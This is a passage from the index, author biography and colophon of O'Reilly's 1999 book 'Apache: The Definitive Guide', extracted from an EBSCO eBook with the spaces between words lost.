note_subprocess(),254
NT(seeWin32)
numbers
host,6
network,6,38
port,8
O
obtainingFreeBSDUnix,12
onewayhashes,118
open_event(),259
Optionsdirective,6871
Includesoption,180
OptionsExecCGI,6970,79
OptionsFollowSymLinks,69,71
Options
FollowSymLinksIfOwnerMatch,71
OptionsIncludesNoExec,69
OptionsIndexes,69
OptionsMultiViews,69,134135
OptionsSymLinksIfOwnerMatch,69
ScriptAliasand,79
orderdirective,116,187
os_escape_path(),266
outputtoshells,208
overlay_tables(),250
overrides,129131
P
packetfiltering,214
palloc(),246
parseHTTPdate(),261
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page365
parsingheaders,306
parsingpathsandURLs,264267
PassEnvdirective,91
passwords
anonymousaccess,120124
checking(seeauthentication)
DBMfilesfor,112114
Unixsystems,108109
Win32systems,110
patents,218
pathnames,xiii,10
APIfunctionsfor,264267
paths,54
pcalloc(),246
pclosef(),252
perdirectoryconfiguration,242,294,296
performance
caching,173175
improvingCGIprograms,202
PKencryption,211
throttlingconnections,203
permissions(Unix),3537
suEXECutility,96
perreqestinformation,243245
perserverconfiguration,241,293,295
persistentstatecookies,125
pfclose(),253
pfdopen(),253pfopen(),253
PidFiledirective,55
PIDs(processidentifiers),29
pingingIPaddresses,39
pipedlogs,APIfunctionsfor,279
PKencryption,209212
legalissues,219
pointsizedimagemaphotspots,156
polygonalimagemaphotspots,156
pools,240,246
popenf(),252
Portdirective,66
portbasedvirtualhosting,64
ports,1,8,66
POSTmethod(HTTP),76
postreadrequests,303
pregcomp(),253
prerunfixupstomodules,312313
privacy(seeencryptionsecurity)
processidentifiers(seePIDs)
processes
APIfunctionsfor,254256
limitingforCGIscripts,85
processes,killing,29,35
protectingapplicationdata,343
protocols,7
proxyservers,2,170178
configuringcache,175178
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ProxyDomaindirective,172
ProxyPassdirective,171
ProxyPassReversedirective,173
ProxyRemotedirective,171
ProxyRequestsdirective,171
psutility,29
pstrcat(),247
pstrdup(),247
pstrndup(),247
publickeyencryption,209212
legalissues,219
push_array(),247
PUTmethod(HTTP),76
Q
qualityscores(qsvalues),139
R
readpermission,35
ReadmeNamedirective,148
realms,authentication,106
Redirectdirective,161
redirection,158169,272
URLsubstitutions,162169,203
RedirectMatchdirective,161
register_cleanup(),251
regularexpressions
APIfunctionsfor,253254
forURLs,162169,203
release_semaphore(),258
remoteproxyservers,171
RemoteAddrheader,91
RemoteHostheader,91
RemoteUserheader,92
RequestMethodheader,92
request_recstructure,243245
RequestURIheader,92
requests
handling,APIfunctionsfor,271272
maximumwaittime,57
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page366
requests(continued)
perrequestinformation,243245
postreadrequests,303
simultaneous,maximumfor,58
statusinformation,188
requiredirective,107
reset_event(),259
reset_timeout(),272
resourcepools,240,246
responsecodes,HTTP,194,292293
responseheaders,6871
restartflag(apachect1),30
restartinghttpd,71
resumingsessions,342
reverseDNSlookups,57
rewritemodule,162169,203
RewriteBasedirective,165
RewriteConddirective,165
RewriteEnginedirective,163
RewriteLogdirective,163
RewriteLogLeveldirective,163
RewriteMapdirective,163165
RewriteRuledirective,166
rewritingURLs,162169,203
exampleof,167169
RLimitCPUdirective,84
RLimitMEMdirective,84
RLimitNPROCdirective,84
rootuser,8,31
routers,7
rputc(),269
rputs(),269
RSAalgorithm,218,340
run_cleanup(),252
run_sub_req(),271
rvprintf(),269
rvputs(),269
S
sflag(apache),28
Sflag(httpd/apache),28
satisfydirective,108
ScanHTMLTitlesoption
(IndexOptions),143
ScoreBoardFiledirective,55
ScriptAliasdirective,79,83,158159
ScriptAliasMatchdirective,83,159
ScriptLogdirective,83
ScriptLogBufferdirective,84
ScriptLogLengthdirective,84
scripts,CGI(seeCGI)
security,3,205239
accesscontrol,114117
anonymousaccess,120124
Apacheprecautions,208
authentication(seeauthentication)
blockingaccess(seeaccesscontrol)
certificates,212214,225227
ciphersuites,236238
cookies,124
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
encryption,209212
firewalls,214217
fixedlengthbuffers,329
.htaccessfile(see.htaccessfile)
IgnoreIndexdirectiveand,145
legalissues,217221
loggingand(seelogging)
nationalsecurity,219
passwords,108110
protectingapplicationdata,343
proxyservers,170178
SSL(SecureSocketsLayer),222236
Apachedirectivesfor,233236
ApacheSSLpatch,223
CGIand,238
suEXECwrapperforCGI,9399
Unixpermissions,3537
Win32,8,42,206
semaphores,258
semiformattedmenus,157
sendasishandler,100
SendBufferSizedirective,56
send_fd(),268
send_fd_length(),268
send_http_header(),271
separatenetworks,215217
server
configurationfiles,28
Unix,settingup,2938
Win32,settingup,3942
serverinfohandler,100
serverparsedhandler,100
serverstatushandler,100
ServerAdmindirective,53
ServerAliasdirective,54
ServerNamedirective,33,41,52
ServerPathdirective,54
server_recstructure,241,245
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page367
ServerRootdirective,55servers,11
child,settinglimitson,59
informationon,187188
APIfunctionsfor,277
maximumwaitforrequests,57
NCSA,Apacheand,337
perserverconfiguration,241,293,295
proxyservers,2,170178
security(seesecurity)serversideincludes,179185
CGIscriptsexecutedas,180,183185
IncludesNoExec(Optionsdirective),69
scriptingmodules,203
XSSIfacility,185
ServerSignaturedirective,53
ServerTokensdirective,53
ServerTypedirective,67
service,Apacheas(Win32),39
sessions,resuming,342
SetEnvdirective,9091
SetEnvIfdirective,91
SetEnvIfNoCasedirective,91
set_event(),259
SetHandlerdirective,101,187
setup_client_block(),270
shapesofimagemaphotspots,156
shelloutput,208
should_client_block(),270
shtmlComponentextension,179
SimpleMailTransferProtocol(SMTP),215
simultaneousrequests,58
sitesdirecctory(onCDROM),xiisize
cache,174files,181182
pool,246
TCPsendbuffer,56
SMTP(SimpleMailTransferProtocol),215
sockets,APIfunctionsfor,252253
SOCKSrules,20
softtimeout(),272spawnchilderr(),254
spellcheckingURLs,169,203
SSI(seeserversideincludes)SSL(SecureSocketsLayer),222236
Apachedirectivesfor,233236
ApacheSSLpatch,223CGIand,238
protectingapplicationdata,343
protocolspecification,339344
SSLBanCipherdirective,238
SSLCACertificateFiledirective,234
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SSLCACertificatePathdirective,234
SSLCacheServerPathdirective,233
SSLCacheServerPortdirective,234
SSLCacheServerRunDirdirective,233
SSLCertificateFiledirective,234
SSLCertificateKeyFiledirective,235
SSLDisabledirective,233
SSLeaylibrary,222SSLEnabledirective,233
SSLExportClientCertificatesdirective,239
SSLFakeBasicAuthdirective,235
SSLLogFiledirective,236
SSLRequireCipherdirective,238
SSLRequiredCiphersdirective,238
SSLRequireSSLdirective,233
SSLSessionCacheTimeoutdirective,234
SSLVerifyClientdirective,235
SSLVerifyDepthdirective,235
standalonemode,12
standalonemode(ServerType),67
startflag(apachect1),30
StartServersdirective,59
statuscodes,HTTP,194,292293
statusflag(apachect1),30
statusinformation,186188
STATUSrule,20stopflag(apachect1),30
stopscript(example),30
strcasecmpmatch(),261
strcmpmatch(),261
strftime(),183
strings
APIfunctionsfor,261264
inpools,247
subnetmasks,6sub_req_lookup_file(),271
sub_req_lookup_uri(),271
substitutionswithinURLs,162169,203
exampleof,167169
suEXECwrapper,9399
superuser,8,31
SuppressColumnSortingoption(IndexOptions),143
SuppressDescriptionoption(IndexOptions),143
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page368
SuppressHTMLPreambleoption
(IndexOptions),143
SuppressLastModifiedoption
(IndexOptions),143
SuppressSizeoption(IndexOptions),143
symboliclinks,47,70
SymLinksIfOwnerMatchoption(Options),69
synchronization,APIfunctionsfor,257260
T
tflag(httpd/apache),28
table_add(),249250
table_elts(),248
table_get(),250
table_merge(),249
table_set(),249
table_unset(),250
table_merge(),249
table_set(),249
tables
APIfunctionsfor,248250
commandtable,297300
TCP(TransmissionControlProtocol),7
sendbuffersize,56
TCP/IP,59
APIfunctionsfor,267271
testingifrunning,39
technicalsupport,331
TEK(tokenencryptionkey),341
telnet,10
testingcertificates,225227
TFTPprotocol,214
ThawteConsulting,213,230
threads,329
APIfunctionsfor,257260
ThreadsPerChilddirective,61
throttlingconnections,203
time
APIfunctionsfor,260
cachingrelated,174
displayformat,183
expiring(seeexpiring)
TimeOutdirective,57
timeouts,functionsfor,272
tm2sec(),261
tokenencryptionkey(TEK),341
TRACEmethod(HTTP),76
TransferLogdirective,190
translatingURLstonames,304
troubleshooting
Apachesecurityprecautions,208
imagemaps,154
loggingerrors,190
prerunmixupstomodules,312313
proxyserverconfiguration,176
spellingofURLs,169,203
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SSL,230
suEXECutility,97
typechecker,310312
typemaphandler,100
typemaps,137140
TypesConfigdirective,133
U
uflag(apache),28
UDP(UserDatagramProtocol),7
''unabletogethostbyname"error,30
uname2id(),267
unblock_alarms(),273
unescape_url(),265
unformattedmenus,157
unique_id_child_init(),302
Unixoperatingsystem
configuringserver,2938
DBMfiles,112114
filelimits,60
makingApache,21
multipleIPaddresses,8
passwords,108109
permissions,3537
restartingApache,71
security(seesecurity)
suEXECwrapper,9399
versionsof,12
virtualhosts,5860
unpackeddirectory(onCDROM),xii
UptimeCommerceLtd.,231
uri_componentsstructure,283
URIs(uniformresourceidentifiers),1
APIfunctionsfor,283285
URLs(uniformresourcelocators),1,9
APIfunctionsfor,264267
digestauthentication,105,118120
imagemaps,153
limitingdirectivesto,51
redirectinguponerrors,46
rewriting,162169,203
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page369
spellchecking,169,203
translatingtonames,304
UseCanonicalNamedirective,52
Userdirective,32
UserDirdirective,160
users
APIfunctionsfor,267
automaticinformationon,124126
checkingifaccessallowed,308310
creating,31
DBMfiles,112114
homedirectories,160
permissions(seepermissions)
securityand,206208
uudecode(),263
V
Vflag(httpd/apache),27
vflag(httpd/apache),27
.varfiles(seetypemaps)
variables,environment,9093
accesscontrol,115
browsersand,91
variables,printing,85,180,185
versions
Apache,x,13
HTTP,forcingto1.0,93
SOCKS,20
Unix,12
versionrollbackattacks,342
virtualattribute(includecommand),184
virtualcash,209214
virtualhosts,7,44,5864
Unix,5860
Win32,60
(seealsomultiplecopiesofApache)
<VirtualHost>>directive,49,62
W
WANTHSREGEXrule,20
webaddresses(seeURLs)
webbrowsers,91
cookies,124
HTTP/1.1and,140
iconsand,146
imagemaps,153
webredirection,158169
webservers,11
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
childservers,limitson,59
informationon,187188
controllingaccessto,53
functionsfor,277
maximumwaitforrequests,57
NCSA,Apacheand,337
perserverconfiguration,241,293,295296
proxyservers,2,170178
security(seesecurity)
serversideincludes,179185
IncludesNoExec(Optionsdirective),69
scriptingmodules,203
websites,3
defined,26
demonstration,xii
multiple(seevirtualhosts)
webgroupgroup(example),31
webuseruser(example),31
Win32,2325
configuringserver,3942
DSO(DynamicSharedObjects),204
homedirectories,161
multipleIPaddresses,9
passwords,110
restartingApache,71
security,8,42,206
timedisplayformat,183
versionsofApache,13
virtualhosts,60
WindowsOS(seeWin32)
wrappers,93
writingmodules,290329
writingpermission,35
X
Xflag(httpd),28
XBitHackfacility,185
XSSIfacility,185
Y
Year2000andtimeformats,183
Young,Eric,219
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page371
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
AbouttheAuthors
BenLaurieisamemberofthecoreApacheGroupandhasmadehislivingasaprogrammersince1978.PeterLaurie,Ben'sfather,isafreelancejournalistwhohas
writtenseveralcomputerbooks.HeisaformereditorofPracticalComputingmagazine.HenowspecializesinOpticalCharacterRecognition(OCR)andIntelligent
MarkRecognition(IMR).
Colophon
TheanimalfeaturedonthecoverofApache:TheDefinitiveGuideisanAppaloosahorse.DevelopedbytheNezPerceIndiansofnortheasternOregon,thename
AppaloosaderivesfromthenearbyPalouseRiver.AlthoughspottedhorsesarebelievedtobealmostasoldastheequineraceitselfCroMagnoncavepaintings
depictspottedhorsestheAppaloosaistheonlyestablishedbreedofspottedhorse.TheAppaloosawasbredtobeahuntingandwarhorse,andassuchtheyhave
greatstamina,arehighlyathleticandagile,andhavedociletemperaments.WhentheNezPerce,ledbyChiefJoseph,surrenderedtotheU.S.Armyin1876andwere
exiledtoOklahoma,theAppaloosabreedwasalmosteradicated.In1938theAppaloosaHorseClubwasformedinMoscow,Idaho,andthebreedwasrevived.
TheHorseClubnowregistersapproximately65,000horses,makingitthethirdlargestregistryintheworld.Nolongerawarhorse,Appaloosascanbefoundinmany
equestrianvenues,fromtrailridingtowesterncompetitiontopleasureriding.
MadeleineNewellwastheproductioneditorforthisedition,andCindyKogutofEditorialInkdidthecopyedit.SethMaislinwrotetheindex.Qualityassurancewas
providedbyEllieCutler,ClairemarieFisherO'Leary,andSherylAvruch.BettyHughandSebastianBankerprovidedproductionassistance.
EdieFreedmandesignedthecoverofthisbook,usinga19thcenturyengravingfromtheDoverPictorialArchive.ThecoverlayoutwasproducedbyKathleenWilson
withQuarkXPress3.3usingtheITCGaramondandHelveticacondensedfonts.TheQuickReferenceCardwasdesignedandproducedbyKathleenWilson.
TheinsidelayoutwasdesignedbyNancyPriestandEdieFreedmanandimplementedinFrameMakerbyMikeSierra.ThetextandheadingfontsareITCGaramond
LightandGaramondBook.TheCDlabeldesignwascreatedbyHannaDyer.TheillustrationthatappearsinthebookwascreatedinMacromediaFreehand7.0by
ChrisReilley.TheCDwasproducedbyChrisMaden.ThiscolophonwaswrittenbyClairemarieFisherO'Leary.Wheneverpossible,ourbooksuseRepKover,a
durableandflexiblelayflatbinding.IfthepagecountexceedsRepKover'slimit,perfectbindingisused.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron